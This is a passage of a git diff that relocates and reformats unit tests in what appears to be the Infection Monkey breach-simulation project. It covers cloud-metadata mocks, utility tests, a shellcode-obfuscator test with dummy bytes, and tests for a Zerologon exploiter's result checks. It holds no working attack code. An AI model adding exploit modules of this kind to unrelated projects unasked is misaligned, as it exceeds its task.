Use it as a parameterised decorator(`@profile()`). After decorated method is used, a file will appear in a
directory provided in `profiler_decorator.py`. Filename describes the path of
the method that was profiled. For example if method `monkey_island/cc/resources/netmap.get`
-was profiled, then the results of this profiling will appear in
+was profiled, then the results of this profiling will appear in
`monkey_island_cc_resources_netmap_get`.
diff --git a/monkey/monkey_island/cc/test_common/profiling/profiler_decorator.py b/monkey/tests/profiling/profiler_decorator.py
similarity index 88%
rename from monkey/monkey_island/cc/test_common/profiling/profiler_decorator.py
rename to monkey/tests/profiling/profiler_decorator.py
index 64642895e..41b641cc8 100644
--- a/monkey/monkey_island/cc/test_common/profiling/profiler_decorator.py
+++ b/monkey/tests/profiling/profiler_decorator.py
@@ -5,8 +5,7 @@ from cProfile import Profile
PROFILER_LOG_DIR = "./profiler_logs/"
-def profile(sort_args=['cumulative'], print_args=[100]):
-
+def profile(sort_args=["cumulative"], print_args=[100]):
def decorator(fn):
def inner(*args, **kwargs):
result = None
@@ -19,11 +18,13 @@ def profile(sort_args=['cumulative'], print_args=[100]):
except os.error:
pass
filename = PROFILER_LOG_DIR + _get_filename_for_function(fn)
- with open(filename, 'w') as stream:
+ with open(filename, "w") as stream:
stats = pstats.Stats(profiler, stream=stream)
stats.strip_dirs().sort_stats(*sort_args).print_stats(*print_args)
return result
+
return inner
+
return decorator
diff --git a/monkey/tests/unit_tests/__init__.py b/monkey/tests/unit_tests/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/common/cloud/aws/test_aws_instance.py b/monkey/tests/unit_tests/common/cloud/aws/test_aws_instance.py
similarity index 63%
rename from monkey/common/cloud/aws/test_aws_instance.py
rename to monkey/tests/unit_tests/common/cloud/aws/test_aws_instance.py
index 0353a0b9f..74ef5dd15 100644
--- a/monkey/common/cloud/aws/test_aws_instance.py
+++ b/monkey/tests/unit_tests/common/cloud/aws/test_aws_instance.py
@@ -1,17 +1,13 @@
-import json
-
import pytest
import requests
import requests_mock
-from common.cloud.aws.aws_instance import (AWS_LATEST_METADATA_URI_PREFIX,
- AwsInstance)
+from common.cloud.aws.aws_instance import AWS_LATEST_METADATA_URI_PREFIX, AwsInstance
from common.cloud.environment_names import Environment
+INSTANCE_ID_RESPONSE = "i-1234567890abcdef0"
-INSTANCE_ID_RESPONSE = 'i-1234567890abcdef0'
-
-AVAILABILITY_ZONE_RESPONSE = 'us-west-2b'
+AVAILABILITY_ZONE_RESPONSE = "us-west-2b"
# from https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html
INSTANCE_IDENTITY_DOCUMENT_RESPONSE = """
@@ -34,35 +30,33 @@ INSTANCE_IDENTITY_DOCUMENT_RESPONSE = """
}
"""
+EXPECTED_INSTANCE_ID = "i-1234567890abcdef0"
-EXPECTED_INSTANCE_ID = 'i-1234567890abcdef0'
+EXPECTED_REGION = "us-west-2"
-EXPECTED_REGION = 'us-west-2'
-
-EXPECTED_ACCOUNT_ID = '123456789012'
+EXPECTED_ACCOUNT_ID = "123456789012"
-def get_test_aws_instance(text={'instance_id': None,
- 'region': None,
- 'account_id': None},
- exception={'instance_id': None,
- 'region': None,
- 'account_id': None}):
+def get_test_aws_instance(
+ text={"instance_id": None, "region": None, "account_id": None},
+ exception={"instance_id": None, "region": None, "account_id": None},
+):
with requests_mock.Mocker() as m:
# request made to get instance_id
- url = f'{AWS_LATEST_METADATA_URI_PREFIX}meta-data/instance-id'
- m.get(url, text=text['instance_id']) if text['instance_id'] else m.get(
- url, exc=exception['instance_id'])
+ url = f"{AWS_LATEST_METADATA_URI_PREFIX}meta-data/instance-id"
+ m.get(url, text=text["instance_id"]) if text["instance_id"] else m.get(
+ url, exc=exception["instance_id"]
+ )
# request made to get region
- url = f'{AWS_LATEST_METADATA_URI_PREFIX}meta-data/placement/availability-zone'
- m.get(url, text=text['region']) if text['region'] else m.get(
- url, exc=exception['region'])
+ url = f"{AWS_LATEST_METADATA_URI_PREFIX}meta-data/placement/availability-zone"
+ m.get(url, text=text["region"]) if text["region"] else m.get(url, exc=exception["region"])
# request made to get account_id
- url = f'{AWS_LATEST_METADATA_URI_PREFIX}dynamic/instance-identity/document'
- m.get(url, text=text['account_id']) if text['account_id'] else m.get(
- url, exc=exception['account_id'])
+ url = f"{AWS_LATEST_METADATA_URI_PREFIX}dynamic/instance-identity/document"
+ m.get(url, text=text["account_id"]) if text["account_id"] else m.get(
+ url, exc=exception["account_id"]
+ )
test_aws_instance_object = AwsInstance()
return test_aws_instance_object
@@ -71,9 +65,13 @@ def get_test_aws_instance(text={'instance_id': None,
# all good data
@pytest.fixture
def good_data_mock_instance():
- return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE,
- 'region': AVAILABILITY_ZONE_RESPONSE,
- 'account_id': INSTANCE_IDENTITY_DOCUMENT_RESPONSE})
+ return get_test_aws_instance(
+ text={
+ "instance_id": INSTANCE_ID_RESPONSE,
+ "region": AVAILABILITY_ZONE_RESPONSE,
+ "account_id": INSTANCE_IDENTITY_DOCUMENT_RESPONSE,
+ }
+ )
def test_is_instance_good_data(good_data_mock_instance):
@@ -99,9 +97,13 @@ def test_get_account_id_good_data(good_data_mock_instance):
# 'region' bad data
@pytest.fixture
def bad_region_data_mock_instance():
- return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE,
- 'region': 'in-a-different-world',
- 'account_id': INSTANCE_IDENTITY_DOCUMENT_RESPONSE})
+ return get_test_aws_instance(
+ text={
+ "instance_id": INSTANCE_ID_RESPONSE,
+ "region": "in-a-different-world",
+ "account_id": INSTANCE_IDENTITY_DOCUMENT_RESPONSE,
+ }
+ )
def test_is_instance_bad_region_data(bad_region_data_mock_instance):
@@ -127,9 +129,13 @@ def test_get_account_id_bad_region_data(bad_region_data_mock_instance):
# 'account_id' bad data
@pytest.fixture
def bad_account_id_data_mock_instance():
- return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE,
- 'region': AVAILABILITY_ZONE_RESPONSE,
- 'account_id': 'who-am-i'})
+ return get_test_aws_instance(
+ text={
+ "instance_id": INSTANCE_ID_RESPONSE,
+ "region": AVAILABILITY_ZONE_RESPONSE,
+ "account_id": "who-am-i",
+ }
+ )
def test_is_instance_bad_account_id_data(bad_account_id_data_mock_instance):
@@ -155,35 +161,37 @@ def test_get_account_id_data_bad_account_id_data(bad_account_id_data_mock_instan
# 'instance_id' bad requests
@pytest.fixture
def bad_instance_id_request_mock_instance(instance_id_exception):
- return get_test_aws_instance(text={'instance_id': None,
- 'region': AVAILABILITY_ZONE_RESPONSE,
- 'account_id': INSTANCE_IDENTITY_DOCUMENT_RESPONSE},
- exception={'instance_id': instance_id_exception,
- 'region': None,
- 'account_id': None})
+ return get_test_aws_instance(
+ text={
+ "instance_id": None,
+ "region": AVAILABILITY_ZONE_RESPONSE,
+ "account_id": INSTANCE_IDENTITY_DOCUMENT_RESPONSE,
+ },
+ exception={"instance_id": instance_id_exception, "region": None, "account_id": None},
+ )
-@pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError])
+@pytest.mark.parametrize("instance_id_exception", [requests.RequestException, IOError])
def test_is_instance_bad_instance_id_request(bad_instance_id_request_mock_instance):
assert bad_instance_id_request_mock_instance.is_instance() is False
-@pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError])
+@pytest.mark.parametrize("instance_id_exception", [requests.RequestException, IOError])
def test_get_cloud_provider_name_bad_instance_id_request(bad_instance_id_request_mock_instance):
assert bad_instance_id_request_mock_instance.get_cloud_provider_name() == Environment.AWS
-@pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError])
+@pytest.mark.parametrize("instance_id_exception", [requests.RequestException, IOError])
def test_get_instance_id_bad_instance_id_request(bad_instance_id_request_mock_instance):
assert bad_instance_id_request_mock_instance.get_instance_id() is None
-@pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError])
+@pytest.mark.parametrize("instance_id_exception", [requests.RequestException, IOError])
def test_get_region_bad_instance_id_request(bad_instance_id_request_mock_instance):
assert bad_instance_id_request_mock_instance.get_region() is None
-@pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError])
+@pytest.mark.parametrize("instance_id_exception", [requests.RequestException, IOError])
def test_get_account_id_bad_instance_id_request(bad_instance_id_request_mock_instance):
assert bad_instance_id_request_mock_instance.get_account_id() == EXPECTED_ACCOUNT_ID
@@ -191,35 +199,37 @@ def test_get_account_id_bad_instance_id_request(bad_instance_id_request_mock_ins
# 'region' bad requests
@pytest.fixture
def bad_region_request_mock_instance(region_exception):
- return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE,
- 'region': None,
- 'account_id': INSTANCE_IDENTITY_DOCUMENT_RESPONSE},
- exception={'instance_id': None,
- 'region': region_exception,
- 'account_id': None})
+ return get_test_aws_instance(
+ text={
+ "instance_id": INSTANCE_ID_RESPONSE,
+ "region": None,
+ "account_id": INSTANCE_IDENTITY_DOCUMENT_RESPONSE,
+ },
+ exception={"instance_id": None, "region": region_exception, "account_id": None},
+ )
-@pytest.mark.parametrize('region_exception', [requests.RequestException, IOError])
+@pytest.mark.parametrize("region_exception", [requests.RequestException, IOError])
def test_is_instance_bad_region_request(bad_region_request_mock_instance):
assert bad_region_request_mock_instance.is_instance()
-@pytest.mark.parametrize('region_exception', [requests.RequestException, IOError])
+@pytest.mark.parametrize("region_exception", [requests.RequestException, IOError])
def test_get_cloud_provider_name_bad_region_request(bad_region_request_mock_instance):
assert bad_region_request_mock_instance.get_cloud_provider_name() == Environment.AWS
-@pytest.mark.parametrize('region_exception', [requests.RequestException, IOError])
+@pytest.mark.parametrize("region_exception", [requests.RequestException, IOError])
def test_get_instance_id_bad_region_request(bad_region_request_mock_instance):
assert bad_region_request_mock_instance.get_instance_id() == EXPECTED_INSTANCE_ID
-@pytest.mark.parametrize('region_exception', [requests.RequestException, IOError])
+@pytest.mark.parametrize("region_exception", [requests.RequestException, IOError])
def test_get_region_bad_region_request(bad_region_request_mock_instance):
assert bad_region_request_mock_instance.get_region() is None
-@pytest.mark.parametrize('region_exception', [requests.RequestException, IOError])
+@pytest.mark.parametrize("region_exception", [requests.RequestException, IOError])
def test_get_account_id_bad_region_request(bad_region_request_mock_instance):
assert bad_region_request_mock_instance.get_account_id() == EXPECTED_ACCOUNT_ID
@@ -227,35 +237,37 @@ def test_get_account_id_bad_region_request(bad_region_request_mock_instance):
# 'account_id' bad requests
@pytest.fixture
def bad_account_id_request_mock_instance(account_id_exception):
- return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE,
- 'region': AVAILABILITY_ZONE_RESPONSE,
- 'account_id': None},
- exception={'instance_id': None,
- 'region': None,
- 'account_id': account_id_exception})
+ return get_test_aws_instance(
+ text={
+ "instance_id": INSTANCE_ID_RESPONSE,
+ "region": AVAILABILITY_ZONE_RESPONSE,
+ "account_id": None,
+ },
+ exception={"instance_id": None, "region": None, "account_id": account_id_exception},
+ )
-@pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError])
+@pytest.mark.parametrize("account_id_exception", [requests.RequestException, IOError])
def test_is_instance_bad_account_id_request(bad_account_id_request_mock_instance):
assert bad_account_id_request_mock_instance.is_instance()
-@pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError])
+@pytest.mark.parametrize("account_id_exception", [requests.RequestException, IOError])
def test_get_cloud_provider_name_bad_account_id_request(bad_account_id_request_mock_instance):
assert bad_account_id_request_mock_instance.get_cloud_provider_name() == Environment.AWS
-@pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError])
+@pytest.mark.parametrize("account_id_exception", [requests.RequestException, IOError])
def test_get_instance_id_bad_account_id_request(bad_account_id_request_mock_instance):
assert bad_account_id_request_mock_instance.get_instance_id() == EXPECTED_INSTANCE_ID
-@pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError])
+@pytest.mark.parametrize("account_id_exception", [requests.RequestException, IOError])
def test_get_region_bad_account_id_request(bad_account_id_request_mock_instance):
assert bad_account_id_request_mock_instance.get_region() == EXPECTED_REGION
-@pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError])
+@pytest.mark.parametrize("account_id_exception", [requests.RequestException, IOError])
def test_get_account_id_bad_account_id_request(bad_account_id_request_mock_instance):
assert bad_account_id_request_mock_instance.get_account_id() is None
@@ -265,15 +277,15 @@ def test_get_account_id_bad_account_id_request(bad_account_id_request_mock_insta
def not_found_request_mock_instance():
with requests_mock.Mocker() as m:
# request made to get instance_id
- url = f'{AWS_LATEST_METADATA_URI_PREFIX}meta-data/instance-id'
+ url = f"{AWS_LATEST_METADATA_URI_PREFIX}meta-data/instance-id"
m.get(url, status_code=404)
# request made to get region
- url = f'{AWS_LATEST_METADATA_URI_PREFIX}meta-data/placement/availability-zone'
+ url = f"{AWS_LATEST_METADATA_URI_PREFIX}meta-data/placement/availability-zone"
m.get(url)
# request made to get account_id
- url = f'{AWS_LATEST_METADATA_URI_PREFIX}dynamic/instance-identity/document'
+ url = f"{AWS_LATEST_METADATA_URI_PREFIX}dynamic/instance-identity/document"
m.get(url)
not_found_aws_instance_object = AwsInstance()
diff --git a/monkey/common/cloud/aws/test_aws_service.py b/monkey/tests/unit_tests/common/cloud/aws/test_aws_service.py
similarity index 81%
rename from monkey/common/cloud/aws/test_aws_service.py
rename to monkey/tests/unit_tests/common/cloud/aws/test_aws_service.py
index 9e3f342b2..dc5ec3831 100644
--- a/monkey/common/cloud/aws/test_aws_service.py
+++ b/monkey/tests/unit_tests/common/cloud/aws/test_aws_service.py
@@ -1,12 +1,10 @@
import json
from unittest import TestCase
-from .aws_service import filter_instance_data_from_aws_response
-
-__author__ = 'shay.nehmad'
+from common.cloud.aws.aws_service import filter_instance_data_from_aws_response
-class TestFilterInstanceDataFromAwsResponse(TestCase):
+class TestAwsService(TestCase):
def test_filter_instance_data_from_aws_response(self):
json_response_full = """
{
@@ -49,10 +47,10 @@ class TestFilterInstanceDataFromAwsResponse(TestCase):
}
"""
- self.assertEqual(filter_instance_data_from_aws_response(json.loads(json_response_empty)), [])
+ self.assertEqual(
+ filter_instance_data_from_aws_response(json.loads(json_response_empty)), []
+ )
self.assertEqual(
filter_instance_data_from_aws_response(json.loads(json_response_full)),
- [{'instance_id': 'string',
- 'ip_address': 'string',
- 'name': 'string',
- 'os': 'string'}])
+ [{"instance_id": "string", "ip_address": "string", "name": "string", "os": "string"}],
+ )
diff --git a/monkey/tests/unit_tests/common/cloud/azure/test_azure_instance.py b/monkey/tests/unit_tests/common/cloud/azure/test_azure_instance.py
new file mode 100644
index 000000000..a7bed81dd
--- /dev/null
+++ b/monkey/tests/unit_tests/common/cloud/azure/test_azure_instance.py
@@ -0,0 +1,223 @@
+import pytest
+import requests
+import requests_mock
+import simplejson
+
+from common.cloud.azure.azure_instance import AZURE_METADATA_SERVICE_URL, AzureInstance
+from common.cloud.environment_names import Environment
+
+GOOD_DATA = {
+ "compute": {
+ "azEnvironment": "AZUREPUBLICCLOUD",
+ "isHostCompatibilityLayerVm": "true",
+ "licenseType": "Windows_Client",
+ "location": "westus",
+ "name": "examplevmname",
+ "offer": "Windows",
+ "osProfile": {
+ "adminUsername": "admin",
+ "computerName": "examplevmname",
+ "disablePasswordAuthentication": "true",
+ },
+ "osType": "linux",
+ "placementGroupId": "f67c14ab-e92c-408c-ae2d-da15866ec79a",
+ "plan": {"name": "planName", "product": "planProduct", "publisher": "planPublisher"},
+ "platformFaultDomain": "36",
+ "platformUpdateDomain": "42",
+ "publicKeys": [
+ {"keyData": "ssh-rsa 0", "path": "/home/user/.ssh/authorized_keys0"},
+ {"keyData": "ssh-rsa 1", "path": "/home/user/.ssh/authorized_keys1"},
+ ],
+ "publisher": "RDFE-Test-Microsoft-Windows-Server-Group",
+ "resourceGroupName": "macikgo-test-may-23",
+ "resourceId": "/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/resourceGroups/macikgo-test"
+ "-may-23/"
+ "providers/Microsoft.Compute/virtualMachines/examplevmname",
+ "securityProfile": {"secureBootEnabled": "true", "virtualTpmEnabled": "false"},
+ "sku": "Windows-Server-2012-R2-Datacenter",
+ "storageProfile": {
+ "dataDisks": [
+ {
+ "caching": "None",
+ "createOption": "Empty",
+ "diskSizeGB": "1024",
+ "image": {"uri": ""},
+ "lun": "0",
+ "managedDisk": {
+ "id": "/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/"
+ "resourceGroups/macikgo-test-may-23/providers/"
+ "Microsoft.Compute/disks/exampledatadiskname",
+ "storageAccountType": "Standard_LRS",
+ },
+ "name": "exampledatadiskname",
+ "vhd": {"uri": ""},
+ "writeAcceleratorEnabled": "false",
+ }
+ ],
+ "imageReference": {
+ "id": "",
+ "offer": "UbuntuServer",
+ "publisher": "Canonical",
+ "sku": "16.04.0-LTS",
+ "version": "latest",
+ },
+ "osDisk": {
+ "caching": "ReadWrite",
+ "createOption": "FromImage",
+ "diskSizeGB": "30",
+ "diffDiskSettings": {"option": "Local"},
+ "encryptionSettings": {"enabled": "false"},
+ "image": {"uri": ""},
+ "managedDisk": {
+ "id": "/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/"
+ "resourceGroups/macikgo-test-may-23/providers/"
+ "Microsoft.Compute/disks/exampleosdiskname",
+ "storageAccountType": "Standard_LRS",
+ },
+ "name": "exampleosdiskname",
+ "osType": "Linux",
+ "vhd": {"uri": ""},
+ "writeAcceleratorEnabled": "false",
+ },
+ },
+ "subscriptionId": "xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx",
+ "tags": "baz:bash;foo:bar",
+ "version": "15.05.22",
+ "vmId": "02aab8a4-74ef-476e-8182-f6d2ba4166a6",
+ "vmScaleSetName": "crpteste9vflji9",
+ "vmSize": "Standard_A3",
+ "zone": "",
+ },
+ "network": {
+ "interface": [
+ {
+ "ipv4": {
+ "ipAddress": [{"privateIpAddress": "10.144.133.132", "publicIpAddress": ""}],
+ "subnet": [{"address": "10.144.133.128", "prefix": "26"}],
+ },
+ "ipv6": {"ipAddress": []},
+ "macAddress": "0011AAFFBB22",
+ }
+ ]
+ },
+}
+
+BAD_DATA_NOT_JSON = (
+ '\n\n\n \n \nWaiting... \n\n\n "
+ "\n\n"
+)
+
+BAD_DATA_JSON = {"": ""}
+
+
+def get_test_azure_instance(url, **kwargs):
+ with requests_mock.Mocker() as m:
+ m.get(url, **kwargs)
+ test_azure_instance_object = AzureInstance()
+ return test_azure_instance_object
+
+
+# good request, good data
+@pytest.fixture
+def good_data_mock_instance():
+ return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, text=simplejson.dumps(GOOD_DATA))
+
+
+def test_is_instance_good_data(good_data_mock_instance):
+ assert good_data_mock_instance.is_instance()
+
+
+def test_get_cloud_provider_name_good_data(good_data_mock_instance):
+ assert good_data_mock_instance.get_cloud_provider_name() == Environment.AZURE
+
+
+def test_try_parse_response_good_data(good_data_mock_instance):
+ assert good_data_mock_instance.instance_name == GOOD_DATA["compute"]["name"]
+ assert good_data_mock_instance.instance_id == GOOD_DATA["compute"]["vmId"]
+ assert good_data_mock_instance.location == GOOD_DATA["compute"]["location"]
+
+
+# good request, bad data (json)
+@pytest.fixture
+def bad_data_json_mock_instance():
+ return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, text=simplejson.dumps(BAD_DATA_JSON))
+
+
+def test_is_instance_bad_data_json(bad_data_json_mock_instance):
+ assert bad_data_json_mock_instance.is_instance() is False
+
+
+def test_get_cloud_provider_name_bad_data_json(bad_data_json_mock_instance):
+ assert bad_data_json_mock_instance.get_cloud_provider_name() == Environment.AZURE
+
+
+def test_instance_attributes_bad_data_json(bad_data_json_mock_instance):
+ assert bad_data_json_mock_instance.instance_name is None
+ assert bad_data_json_mock_instance.instance_id is None
+ assert bad_data_json_mock_instance.location is None
+
+
+# good request, bad data (not json)
+@pytest.fixture
+def bad_data_not_json_mock_instance():
+ return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, text=BAD_DATA_NOT_JSON)
+
+
+def test_is_instance_bad_data_not_json(bad_data_not_json_mock_instance):
+ assert bad_data_not_json_mock_instance.is_instance() is False
+
+
+def test_get_cloud_provider_name_bad_data_not_json(bad_data_not_json_mock_instance):
+ assert bad_data_not_json_mock_instance.get_cloud_provider_name() == Environment.AZURE
+
+
+def test_instance_attributes_bad_data_not_json(bad_data_not_json_mock_instance):
+ assert bad_data_not_json_mock_instance.instance_name is None
+ assert bad_data_not_json_mock_instance.instance_id is None
+ assert bad_data_not_json_mock_instance.location is None
+
+
+# bad request
+@pytest.fixture
+def bad_request_mock_instance():
+ return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, exc=requests.RequestException)
+
+
+def test_is_instance_bad_request(bad_request_mock_instance):
+ assert bad_request_mock_instance.is_instance() is False
+
+
+def test_get_cloud_provider_name_bad_request(bad_request_mock_instance):
+ assert bad_request_mock_instance.get_cloud_provider_name() == Environment.AZURE
+
+
+def test_instance_attributes_bad_request(bad_request_mock_instance):
+ assert bad_request_mock_instance.instance_name is None
+ assert bad_request_mock_instance.instance_id is None
+ assert bad_request_mock_instance.location is None
+
+
+# not found request
+@pytest.fixture
+def not_found_request_mock_instance():
+ return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, status_code=404)
+
+
+def test_is_instance_not_found_request(not_found_request_mock_instance):
+ assert not_found_request_mock_instance.is_instance() is False
+
+
+def test_get_cloud_provider_name_not_found_request(not_found_request_mock_instance):
+ assert not_found_request_mock_instance.get_cloud_provider_name() == Environment.AZURE
+
+
+def test_instance_attributes_not_found_request(not_found_request_mock_instance):
+ assert not_found_request_mock_instance.instance_name is None
+ assert not_found_request_mock_instance.instance_id is None
+ assert not_found_request_mock_instance.location is None
diff --git a/monkey/common/cloud/gcp/test_gcp_instance.py b/monkey/tests/unit_tests/common/cloud/gcp/test_gcp_instance.py
similarity index 100%
rename from monkey/common/cloud/gcp/test_gcp_instance.py
rename to monkey/tests/unit_tests/common/cloud/gcp/test_gcp_instance.py
diff --git a/monkey/common/network/test_network_utils.py b/monkey/tests/unit_tests/common/network/test_network_utils.py
similarity index 73%
rename from monkey/common/network/test_network_utils.py
rename to monkey/tests/unit_tests/common/network/test_network_utils.py
index 396bc1c0a..0376cd6d5 100644
--- a/monkey/common/network/test_network_utils.py
+++ b/monkey/tests/unit_tests/common/network/test_network_utils.py
@@ -12,6 +12,6 @@ class TestNetworkUtils(TestCase):
assert get_host_from_network_location("user:password@host:8080") == "host"
def test_remove_port_from_url(self):
- assert remove_port('https://google.com:80') == 'https://google.com'
- assert remove_port('https://8.8.8.8:65336') == 'https://8.8.8.8'
- assert remove_port('ftp://ftpserver.com:21/hello/world') == 'ftp://ftpserver.com'
+ assert remove_port("https://google.com:80") == "https://google.com"
+ assert remove_port("https://8.8.8.8:65336") == "https://8.8.8.8"
+ assert remove_port("ftp://ftpserver.com:21/hello/world") == "ftp://ftpserver.com"
diff --git a/monkey/tests/unit_tests/common/network/test_segmentation_utils.py b/monkey/tests/unit_tests/common/network/test_segmentation_utils.py
new file mode 100644
index 000000000..c4728f982
--- /dev/null
+++ b/monkey/tests/unit_tests/common/network/test_segmentation_utils.py
@@ -0,0 +1,20 @@
+from common.network.network_range import CidrRange
+from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst
+
+
+class TestSegmentationUtils:
+ def test_get_ip_in_src_and_not_in_dst(self):
+ source = CidrRange("1.1.1.0/24")
+ target = CidrRange("2.2.2.0/24")
+
+ # IP not in both
+ assert get_ip_in_src_and_not_in_dst(["3.3.3.3", "4.4.4.4"], source, target) is None
+
+ # IP not in source, in target
+ assert (get_ip_in_src_and_not_in_dst(["2.2.2.2"], source, target)) is None
+
+ # IP in source, not in target
+ assert get_ip_in_src_and_not_in_dst(["8.8.8.8", "1.1.1.1"], source, target)
+
+ # IP in both subnets
+ assert (get_ip_in_src_and_not_in_dst(["8.8.8.8", "1.1.1.1"], source, source)) is None
diff --git a/monkey/tests/unit_tests/common/utils/test_common_file_utils.py b/monkey/tests/unit_tests/common/utils/test_common_file_utils.py
new file mode 100644
index 000000000..79d00d027
--- /dev/null
+++ b/monkey/tests/unit_tests/common/utils/test_common_file_utils.py
@@ -0,0 +1,28 @@
+import os
+
+import pytest
+
+from common.utils.file_utils import InvalidPath, expand_path, get_file_sha256_hash
+
+
+def test_expand_user(patched_home_env):
+ input_path = os.path.join("~", "test")
+ expected_path = patched_home_env / "test"
+
+ assert expand_path(input_path) == expected_path
+
+
+def test_expand_vars(patched_home_env):
+ input_path = os.path.join("$HOME", "test")
+ expected_path = patched_home_env / "test"
+
+ assert expand_path(input_path) == expected_path
+
+
+def test_expand_path__empty_path_provided():
+ with pytest.raises(InvalidPath):
+ expand_path("")
+
+
+def test_get_file_sha256_hash(stable_file, stable_file_sha256_hash):
+ assert get_file_sha256_hash(stable_file) == stable_file_sha256_hash
diff --git a/monkey/common/utils/test_shellcode_obfuscator.py b/monkey/tests/unit_tests/common/utils/test_shellcode_obfuscator.py
similarity index 76%
rename from monkey/common/utils/test_shellcode_obfuscator.py
rename to monkey/tests/unit_tests/common/utils/test_shellcode_obfuscator.py
index 7116993f2..bda9f7996 100644
--- a/monkey/common/utils/test_shellcode_obfuscator.py
+++ b/monkey/tests/unit_tests/common/utils/test_shellcode_obfuscator.py
@@ -2,12 +2,11 @@ from unittest import TestCase
from common.utils.shellcode_obfuscator import clarify, obfuscate
-SHELLCODE = b'1234567890abcd'
-OBFUSCATED_SHELLCODE = b'\xc7T\x9a\xf4\xb1cn\x94\xb0X\xf2\xfb^='
+SHELLCODE = b"1234567890abcd"
+OBFUSCATED_SHELLCODE = b"\xc7T\x9a\xf4\xb1cn\x94\xb0X\xf2\xfb^="
class TestShellcodeObfuscator(TestCase):
-
def test_obfuscate(self):
assert obfuscate(SHELLCODE) == OBFUSCATED_SHELLCODE
diff --git a/monkey/tests/unit_tests/conftest.py b/monkey/tests/unit_tests/conftest.py
new file mode 100644
index 000000000..3099263b0
--- /dev/null
+++ b/monkey/tests/unit_tests/conftest.py
@@ -0,0 +1,41 @@
+import os
+import sys
+from pathlib import Path
+
+import pytest
+from _pytest.monkeypatch import MonkeyPatch
+
+MONKEY_BASE_PATH = str(Path(__file__).parent.parent.parent)
+sys.path.insert(0, MONKEY_BASE_PATH)
+
+
+@pytest.fixture(scope="session")
+def data_for_tests_dir(pytestconfig):
+ return Path(os.path.join(pytestconfig.rootdir, "monkey", "tests", "data_for_tests"))
+
+
+@pytest.fixture(scope="session")
+def stable_file(data_for_tests_dir) -> Path:
+ return data_for_tests_dir / "stable_file.txt"
+
+
+@pytest.fixture(scope="session")
+def stable_file_sha256_hash() -> str:
+ return "d9dcaadc91261692dafa86e7275b1bf39bb7e19d2efcfacd6fe2bfc9a1ae1062"
+
+
+@pytest.fixture
+def patched_home_env(monkeypatch, tmp_path):
+ monkeypatch.setenv("HOME", str(tmp_path))
+
+ return tmp_path
+
+
+# The monkeypatch fixture is function scoped, so it cannot be used by session-scoped fixtures. This
+# monkeypatch_session fixture can be session-scoped. For more information, see
+# https://github.com/pytest-dev/pytest/issues/363#issuecomment-406536200
+@pytest.fixture(scope="session")
+def monkeypatch_session():
+ monkeypatch_ = MonkeyPatch()
+ yield monkeypatch_
+ monkeypatch_.undo()
diff --git a/monkey/tests/unit_tests/infection_monkey/conftest.py b/monkey/tests/unit_tests/infection_monkey/conftest.py
new file mode 100644
index 000000000..533572f98
--- /dev/null
+++ b/monkey/tests/unit_tests/infection_monkey/conftest.py
@@ -0,0 +1,17 @@
+import pytest
+
+from infection_monkey.telemetry.i_telem import ITelem
+from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
+
+
+class TelemetryMessengerSpy(ITelemetryMessenger):
+ def __init__(self):
+ self.telemetries = []
+
+ def send_telemetry(self, telemetry: ITelem):
+ self.telemetries.append(telemetry)
+
+
+@pytest.fixture
+def telemetry_messenger_spy():
+ return TelemetryMessengerSpy()
diff --git a/monkey/infection_monkey/exploit/tests/test_zerologon.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_zerologon.py
similarity index 84%
rename from monkey/infection_monkey/exploit/tests/test_zerologon.py
rename to monkey/tests/unit_tests/infection_monkey/exploit/test_zerologon.py
index efc8a75e2..95beb1778 100644
--- a/monkey/infection_monkey/exploit/tests/test_zerologon.py
+++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_zerologon.py
@@ -1,9 +1,7 @@
import pytest
-from infection_monkey.exploit.zerologon import ZerologonExploiter
from infection_monkey.model.host import VictimHost
-
DOMAIN_NAME = "domain-name"
IP = "0.0.0.0"
NETBIOS_NAME = "NetBIOS Name"
@@ -16,6 +14,8 @@ NT_HASHES = ["def456", "765vut"]
@pytest.fixture
def zerologon_exploiter_object(monkeypatch):
+ from infection_monkey.exploit.zerologon import ZerologonExploiter
+
def mock_report_login_attempt(**kwargs):
return None
@@ -26,13 +26,13 @@ def zerologon_exploiter_object(monkeypatch):
return obj
+@pytest.mark.slow
def test_assess_exploit_attempt_result_no_error(zerologon_exploiter_object):
dummy_exploit_attempt_result = {"ErrorCode": 0}
- assert zerologon_exploiter_object.assess_exploit_attempt_result(
- dummy_exploit_attempt_result
- )
+ assert zerologon_exploiter_object.assess_exploit_attempt_result(dummy_exploit_attempt_result)
+@pytest.mark.slow
def test_assess_exploit_attempt_result_with_error(zerologon_exploiter_object):
dummy_exploit_attempt_result = {"ErrorCode": 1}
assert not zerologon_exploiter_object.assess_exploit_attempt_result(
@@ -40,6 +40,7 @@ def test_assess_exploit_attempt_result_with_error(zerologon_exploiter_object):
)
+@pytest.mark.slow
def test_assess_restoration_attempt_result_restored(zerologon_exploiter_object):
